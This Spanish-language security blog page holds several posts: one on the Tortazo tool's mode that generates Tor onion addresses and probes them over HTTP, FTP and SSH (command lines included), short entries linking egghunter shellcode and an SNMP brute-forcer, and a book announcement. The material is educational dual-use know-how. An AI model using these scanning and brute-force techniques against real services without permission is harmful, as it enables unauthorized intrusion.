Es posible generar direcciones Onion validas y posteriormente intentar realizar diferentes tipos de peticiones a dicha dirección, si la conexión es correcta, se asume que hemos encontrado un servicio valido. Ahora bien, pueden haber dos formas de abordar el problema considerando las limitaciones de procesamiento explicadas anteriormente, por un lado puedes intentar generar todas las permutaciones posibles partiendo de una dirección onion parcial con lo cual, entre más conocimiento se tenga sobre la dirección onion (número de caracteres conocidos), mayores serán las probabilidades de encontrar rápidamente el servicio en la web profunda de TOR. Por otro lado, si no tienes información sobre una dirección onion concreta y simplemente quieres consultar cualquier dirección onion sin ningún patrón determinado, Tortazo permitirá generar direcciones onion de forma aleatoria y realizar una conexión para ver si existe algún servicio oculto en ejecución en dicha dirección.

Se trata de dos aproximaciones completamente distintas que pueden ayudar a descubrir servicios ocultos, pero en ambos casos, lo más importante es que la generación y procesamiento de cada dirección onion se haga lo más rápidamente posible, esto con el fin de probar la mayor cantidad de direcciones onion en una franja de tiempo determinada.

En primer lugar, contar con un único proceso para la generación de direcciones y posterior procesamiento (petición contra el servicio) puede ser algo bastante lento, por este motivo, en Tortazo se cuenta con dos colas compartidas, una para las direcciones onion generadas y otra para aquellas direcciones sobre las cuales se ha detectado un servicio oculto en ejecución. Evidentemente, existen dos grupos de procesos, uno de ellos se encarga de la generación de direcciones onion que se insertarán en la cola de direcciones generadas y otro para procesar cada una de dichas direcciones onion y determinar si hay un servicio oculto en ejecución; y si ese es el caso, dicha dirección se insertará en la cola compartida de direcciones con servicios en ejecución.

Puede que suene un poco complejo, a lo mejor con la siguiente imagen queda un poco más claro.

OnionRepository

Para ejecutar Tortazo en modo “repositorio” es necesario especificar la opción “-R” y además, es posible indicar otros detalles como el número de procesos que debe crear la herramienta para el procesamiento y generación de direcciones onion (-W), una dirección onion parcial para generar las direcciones onion de forma incremental (-O <partialAddress>) o generar direcciones onion de forma aleatoria (-O RANDOM).

Algunos ejemplos se pueden ver a continuación:

Generación aleatoria de direcciones onion utilizando 5 procesos para generación y procesamiento de las direcciones creadas. Se realizarán peticiones HTTP contra cada uno de dichos servicios. El programa se ejecutará indefinidamente, hasta que el usuario manualmente decida detenerlo.


python Tortazo.py –R http –O RANDOM –W 5 –v 

 

Generación aleatoria de direcciones onion utilizando 5 procesos para generación y procesamiento de las direcciones creadas. Se realizarán peticiones FTP contra cada uno de dichos servicios. El programa se ejecutará indefinidamente, hasta que el usuario manualmente decida detenerlo.

python Tortazo.py –R ftp –O RANDOM –W 10 –v

 

Generación incremental de direcciones onion utilizando la dirección parcial “sad53kig53r2gha” y 5 procesos para generación y procesamiento de las direcciones creadas. Se realizarán peticiones FTP contra cada uno de dichos servicios. El programa se ejecutará hasta que todas las combinaciones posibles hayan sido probadas, es decir, en este caso concreto, las combinaciones de los dos últimos caracteres de la dirección.

>python Tortazo.py –R ftp –O sad53kig53r2gh –W 10 –v

Generación incremental de direcciones onion utilizando la dirección parcial “sad53kig53r2gha” y 5 procesos para generación y procesamiento de las direcciones creadas. Se realizarán peticiones SSH contra cada uno de dichos servicios. El programa se ejecutará hasta que todas las combinaciones posibles hayan sido probadas, es decir, en este caso concreto, las combinaciones de los dos últimos caracteres de la dirección.

>python Tortazo.py –R ssh –O sad53kig53r2gh –W 10 –v

 

Por otro lado, las direcciones onion sobre las que se ha detectado un servicio oculto en ejecución, se almacenan directamente en base de datos para que puedan ser usadas en alguno de los plugins disponibles en Tortazo. Además, en el proyecto también se incluye un fichero con un listado casi 400 direcciones onion que pueden cargarse (opcionalmente) en la base de datos cuando se arranca el modo “respository” de Tortazo.

Y así funciona el modo repositorio en Tortazo. Actualmente estoy desarrollando varias ideas para ampliar/mejorar el mecanismo de descubrimiento de direcciones onion, sin embargo, será algo que implementaré para la versión 1.2 y cuando sea el momento os hablaré de ello. De momento encontrarás información más detallada en la documentación oficial: http://tortazo.readthedocs.org/en/latest/
Por último, si tienes alguna idea o sugerencia para mejorar, me encantaria que te pusieras en contacto conmigo (debiadastra [at] gmail.com).
Un saludo y Happy Hack!

Explotación de Software Parte 34 – Desarrollo de Shellcodes en Linux – Egghunters

octubre 2, 2014 Deja un comentario

Explicación sobre el funcionamiento y uso de los EggHunters bajo plataformas Linux.
Utilizamos las técnicas descritas por Skape en su paper titulado “Safely Searching Process Virtual Address Space” el cual puede ser encontrado en el siguiente enlace: http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf

skapeEggHunter.nasm:    https://github.com/Adastra-thw/ExploitSerie/blob/master/skapeEggHunter.nasm
shellcodeEggHunter.c:     https://github.com/Adastra-thw/ExploitSerie/blob/master/shellcodeEggHunter.c

Repositorio GIT de la serie:
https://github.com/Adastra-thw/ExploitSerie.git


Make a Donation Button

Hacking con Python Parte 34 – Examinando servicios SNMP con PySNMP

septiembre 30, 2014 Deja un comentario

Uso de PySNMP para controlar agentes SNMP en un segmento de red local.

simpleSNMPTest.py:    https://github.com/Adastra-thw/pyHacks/blob/master/simpleSNMPTest.py
simpleSNMPTestOIDs.py:    https://github.com/Adastra-thw/pyHacks/blob/master/simpleSNMPTestOIDs.py
snmpBruter.py:    https://github.com/Adastra-thw/pyHacks/blob/master/snmpBruter.py


Repositorio GIT de la serie:

https://github.com/Adastra-thw/pyHacks.git


Make a Donation Button

Hoy vengo a hablar de mi libro. Python para Pentesters.

septiembre 22, 2014 13 comentarios

A partir del día de hoy, se encuentra disponible al público mi libro sobre Pentesting con Python :-). Se trata de un documento que he escrito basándome en lo que he aprendido en los años que llevo dedicándome a la seguridad informática y al desarrollo de software. Me ha llevado varios meses escribir un documento con el me que sintiera a gusto, un documento en el que pudiera recopilar algunos de los tópicos que considero los más importantes cuando se habla de pentesting y hacking. Los contenidos del libro no son los mismos que has visto en la serie de vídeos que he desarrollado sobre “Hacking con Python”, el libro incluye temas más avanzados y completos, además se explica cómo usar librerías y herramientas que no se han mencionado en los vídeos. Lo he hecho con la idea que siempre he tenido en mente cuando de informática se trata: Cualquier profesional que se dedique a esto tiene que tener unos conocimientos mínimos en programación (que no consiste simplemente en dominar un único lenguaje), tiene que tener la capacidad suficiente para afrontar problemas de manera creativa y utilizando la inmensa cantidad de recursos que se encuentran a su disposición y creo, que es algo que las nuevas generaciones de hackers y pentesters lo suelen olvidar (o mejor, solemos olvidar porque no soy tan mayor. :-) ). He intentado ponerme en el lugar del lector y he enfocado el documento en aquellos temas que a cualquier persona dedicada a temas relacionados con el hacking le gustaría leer. Por otro lado, aquellos que me conocéis (y los que me soportáis :-p ) sabéis que no me siento a gusto “vendiendo humo”, hablando de cosas de las que no controlo plenamente o sobre “teorías” demasiado abstractas que en muchos casos se alejan tanto del mundo real/practico, que en raras ocasiones las vemos reflejadas en herramientas funcionales. Con todo esto, mi idea es que el lector tenga un documento en el que se mezcle la teoría y la practica con muchos ejemplos y casos prácticos.

No es precisamente un documento introductorio a técnicas de pentesting, hacking o programación en general, pero creo que es una buena guía para el “público de todas las edades”, incluso si no sabes programar, solamente necesitas ser curioso, tener ganas de aprender y dedicar algo de tiempo.

Dado que se trataba de mi primera obra y tenía muchísimas dudas sobre cómo debía editar y publicar mi libro, decidí contactar directamente con Chema Alonso para que me diese consejos sobre todos esos temas y me hablase sobre 0xWORD, que es la editorial que él lleva desde hace algunos años. Chema es una persona que se ha ganado mi respeto no solamente por su nivel técnico, sino también porque es una persona con carisma, amable y que siempre esta dispuesto a compartir sus conocimientos y colaborar en lo que pueda, eso si, no le pidas que te consiga una cuenta de Facebook o Hotmail que ahí ya no es tan amable XD. Toda mi vida he pensado que el respeto es algo que hay que ganarse, ya que tus méritos, habilidades y dedicación es lo que realmente cuenta y la gente puede ver el “brillo” de tu labor.

Por otro lado, después de valorar las otras opciones que tenia a mi disposición, he confiado mi obra a 0xWORD y creo que ha sido la decisión correcta ya que me han asesorado y apoyado durante todo el proceso, la verdad es que he quedado muy satisfecho con su trabajo y desde ya os adelanto, que hay otro libro en marcha sobre Python, pero centrado en Maleware, anonimato, Exploiting, Cyberwarfare y todo lo relacionado con la seguridad puramente ofensiva, a lo que se dedican “los chicos malos” de Internet. Seguro que os va a encantar, pero de momento no puedo decir mucho más. :-)

La verdad es que llevaba mucho tiempo pensando en escribir un libro sobre Hacking, ese era uno de los objetivos que tenía previstos para este año y desde el mes de enero comencé a dar pinceladas y a estructurar lo que quería escribir. Todos los días estuve volcando las cosas que tenia en mi cabeza y página tras página iba dando forma al documento. Ha sido una actividad muy estimulante para mí, ya que movía de un lado al otro aquellas cosas que llevo aprendiendo desde que comencé a “jugar” con ordenadores. Mientras escribía, me venían muchos recuerdos de aquellas épocas en las me pasaba horas y horas delante del monitor y mis padres se enfadaban conmigo por ello. Épocas en las que iba a la facultad de informática de mi universidad y me sentía a gusto en las salas de ordenadores programando algo en C, jugando con alguna distro de Linux, o en la biblioteca leyendo algún libro. También recuerdo la forma en la que me miraban algunas personas y con su lenguaje corporal (o a veces directamente) me decían: “¿A dónde vas con esos pelos? ¿Qué haces? Las personas de bien llevan el cabello corto y no se visten así”, recuerdo que me importaba una soberana .…. y de hecho, me divertia mucho ver sus reacciones XD. Los ordenadores y mi conocimiento sobre ellos ha cambiado muchísimo desde aquel entonces, pero prácticamente todo lo demás sigue igual, sin importar los años ni las circunstancias. Solamente espero tener la oportunidad de poder seguir así, de poder seguir aprendiendo cosas, mejorando mis habilidades y compartiendo lo aprendido. Aun hay un largo camino por recorrer.

Si compras el libro, solamente espero que superes con creces lo que has invertido, que te sirva para ampliar tus conocimientos o simplemente recordar cosas que a lo mejor tenias olvidadas y como siempre, si tienes cualquier duda, comentario o sugerencia para una futura edición, no dudes en ponerte en contacto conmigo. Con esta entrada no intento venderte nada, simplemente voy dejar que los contenidos del documento hablen por si solos. Fíjate en el índice del libro y si después de leerlo crees que te puede aportar algo, no dudes en comprarlo, eso es justo lo que yo hago con los libros que realmente despiertan mi interés y creo que es el mejor consejo que se le puede dar a cualquier lector.

Saludos y Happy Hack!

Seguir

Recibe cada nueva publicación en tu buzón de correo electrónico.

Únete a otros 1.126 seguidores

A %d blogueros les gusta esto: